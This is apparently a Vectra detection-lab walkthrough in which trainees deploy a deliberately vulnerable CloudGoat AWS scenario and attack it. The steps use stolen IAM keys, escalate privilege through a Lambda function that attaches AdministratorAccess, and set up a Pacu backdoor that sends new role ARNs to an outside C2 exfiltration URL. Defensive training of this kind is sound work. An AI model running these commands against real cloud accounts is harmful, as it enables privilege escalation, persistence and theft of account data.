Lambda Attack¶
Overview¶
This Detect for AWS Detection lab has been created to empower Vectra field staff and customers to run an attack scenario. This lab contains a number of scripts, supporting resources, and associated attacker narratives. The lab is intended to be self paced.
Scenario¶
An attacker finds AWS user credentials in a GitHub repository. These accidentals leaks can happen through misconfiguration of a. gitignore file. The attack consists of two parts. First attacker performs privilege escalation using Lambda. After the privilege escalation attacker creates a backdoor to a C2 server to steal roles.
Lambda Privilege Escalation¶
Stolen IAM credentials have limited access, but can assume IAM roles and query IAM details
- After IAM discovery campaign, attacker discovers two roles
IAM role that has full Lambda access
IAM service role that has admin permissions that can only be assumed by Lambda service
Attacker assumes the Lambda Admin role
Attacker creates a privilege escalation Lambda
Attacker passes a high privilege Lambda service role
Attacker has achieved privilege escalation
Setup Backdoor to C2¶
Attacker pivots to pacu and uses escalated privileges to list Lambda functions
- Attacker creates a new Lambda function
Function has CloudWatch events rule that will trigger when new IAM roles are created
Setup AWS Profile¶
Users will need some familiarity with their orgs requirements for aws cli/profiles. Before we start the lab a valid AWS admin profile must be configured to deploy the vulnerable infrastructure that will be the target of the attack lab. This profile is your AWS admin profile and will NOT be used in the attack other than to deploy the vulnerable infrastructure. The lab uses CloudGoat by Rhino Security Labs to deploy the scenario to your AWS account. CloudGoat has already been installed on the tools VM. This lab is using a forked version available here with additional scenario material.
- Setup standard IAM user AWS profile for Cloudgoat. This account will need admin access in AWS. This will create or add a new profile in
~/.aws/config
and~/.aws/credentials
. You will be prompted for: Access Key ID
AWS Secret Access Key
Default region name
Default output format
- Setup standard IAM user AWS profile for Cloudgoat. This account will need admin access in AWS. This will create or add a new profile in
aws configure --profile cloudgoat
Verify credentials are working
aws sts get-caller-identity --profile cloudgoat
Setup Cloudgoat¶
Run Cloudgoat config profile from home directory and set default profile name to
cloudgoat
~/cloudgoat/cloudgoat.py config profile
Run Cloudgoat config whitlelist
Whitelist your IP to
~/cloudgoat/whitelist.txt
. You can get your IP address by runningcurl ifconfig.io
. You will need to include the CIDR prefix.
echo "`curl ifconfig.io`/32" > ~/cloudgoat/whitelist.txt
Create vulnerable infrastructure¶
Now that the tools are setup we will use Cloudgoat to setup vulnerable infrastructure in AWS.
Run the attack scenario
~/cloudgoat/cloudgoat.py create lambda_privesc
- Collect the 4 outputs and copy them to a text file:
cloudgoat_output_aws_account_id
cloudgoat_output_chris_access_key_id
cloudgoat_output_chris_secret_key
cloudgoat_output_id
If you don’t capture these values they are saved to /home/ubuntu/cloudgoat
Start attack¶
At this point we have created vulnerable infrastructure in AWS using Cloudgoat. Starting as an anonymous outsider with no access or privileges.
Create a new aws profile with scenarios stolen credentials
aws configure --profile chris
Set the
AWS Access Key ID
andAWS Secret Access Key
using the stolen Chris credentials (Chris was created by Cloudgoat)Set the “Default region” to
us-east-1
and the “Default output” format tojson
Do discovery to find the username associated with the access key. Copy the username to a text file.
aws sts get-caller-identity --profile chris
With the username list all user policies and copy the policy ARN to your text file
aws iam list-attached-user-policies --user-name <associated user name> --profile chris
Get current version of the policy using the ARN from the previous step
aws iam get-policy-version --policy-arn <ARN> --version-id v1 --profile chris
The policy allows the user to assume and list roles
- List the roles and copy the
Role Name
andARN
of the role name to your text file You will need to append your cloudgoat_output_id from the cloudgoat output
- List the roles and copy the
aws iam list-roles --profile chris | grep cg-debug-role-<cloudgoat_output_id>
aws iam list-roles --profile chris | grep cg-lambdaManager-role-<cloudgoat_output_id>
Use the role name output to list the attached policies and copy the
Policy Name
andARN
output to your text file
aws iam list-attached-role-policies --role-name <debug role name> --profile chris
aws iam list-attached-role-policies --role-name <lambda manager role name> --profile chris
- From that output you can see
cg-debug-role-<cloudgoat_output_id>
can be assumed by a Lambdacg-lambdaManager-role-<cloudgoat_output_id>
can be assumed by your user
Get the polices attached to the role we can assume
aws iam get-policy-version --policy-arn <lambdaManager policy ARN> --version-id v1 --profile chris
From the output we can see the role has Lambda Admin privileges
Create Lambda Function¶
To assume the role you will need the role ARN for cg-lambdaManager-role-lambda. If you need it again you can run aws iam list-roles --profile chris | grep cg-lambdaManager-role-<cloudgoat_output_id>>
Assume the role
aws sts assume-role --role-arn <Lambda Manager Role ARN> --role-session-name lambdaManager --profile chris
When you assume the role new security credentials displayed. You will need these to setup a new profile so copy them to your text tile
Create a new AWS profile
aws configure --profile lambdaManager
Set the
AWS Access Key ID
andAWS Secret Access Key
using the assumed role credentialsSet the “Default region” to
us-east-1
and the “Default output” format tojson
Manually add the
aws_session_token
to the aws credentials file to thelambdaManager
profile.
vi ~/.aws/credentials
Create new file
touch lambda_function.py && vi lambda_function.py
Add below python script to the file and update with your discovered username
aws sts get-caller-identity --profile chris
This is a python script so spacing is important!
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(UserName = '<username>', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
return response
Zip the file
zip -q lambda_function.py.zip lambda_function.py
Deploy and assign the Lambda function with the Lambda admin role and name the function
This is the ARN from
cg-debug-role-lambda_privesc
discovered in a previous step by runningaws iam list-roles --profile chris | grep cg-debug-role-lambda<cloudgoat_output_id>
Update the function name to include your initials
aws lambda create-function --function-name admin_function-<initials> --runtime python3.9 --role <Role ARN> --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip --profile lambdaManager
Invoke the new function
aws lambda invoke --function-name admin_function-<initials> out.txt --profile lambdaManager
Test privilege escalation user policy was applied to Chris user with your discovered username
aws sts get-caller-identity --profile chris
aws iam list-attached-user-policies --user-name <username> --profile chris
You should have a new policy applied
C2 Backdoor¶
For this part of the attack we will use pacu
Start pacu from the shell session
~/pacu/cli.py
Create new session in pacu named
chris
Add the keys from your AWS profile typing
import_keys chris
Perform a basic discovery in pacu
run aws__enum_account
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run lambda__enum
run iam__bruteforce_permissions
- Setup a backdoor C2 to steal role ARNs. This will require 3 inputs which you will need prior to proceeding
Role ARN from previous attack
aws iam list-roles --profile chris | grep cg-debug-role-<cloudgoat_output_id>
User ARN
aws sts get-caller-identity --profile chris
exfil-url
https://commander-api.vectratme.com/addrole
Once you have the above values run the below in pacu.
run lambda__backdoor_new_roles --exfil-url https://commander-api.vectratme.com/addrole --role-arn <role-arn> --arn <user-arn>
C2 backdoor has been set. Lets create a new role to test it (you don’t need to leave pacu). Add your initials to the role name. When you do this you are acting as the everyday AWS admin NOT the attacker. Notice you are now using the cloudgoat profile. If you do not have a policy document on your tools VM you can use: sample_policy
aws iam create-role --role-name S3Admin-<INITIALS> --assume-role-policy-document file://sample_assume_trust_policy.json --profile cloudgoat
- Now visit our C2 site https://commander.vectratme.com/ to verify
Navigate to C2 tab
Navigate to Backdoor IAM roles
Search you role name
Now that the attacker has found the S3 role they can assume this role and do additional discovery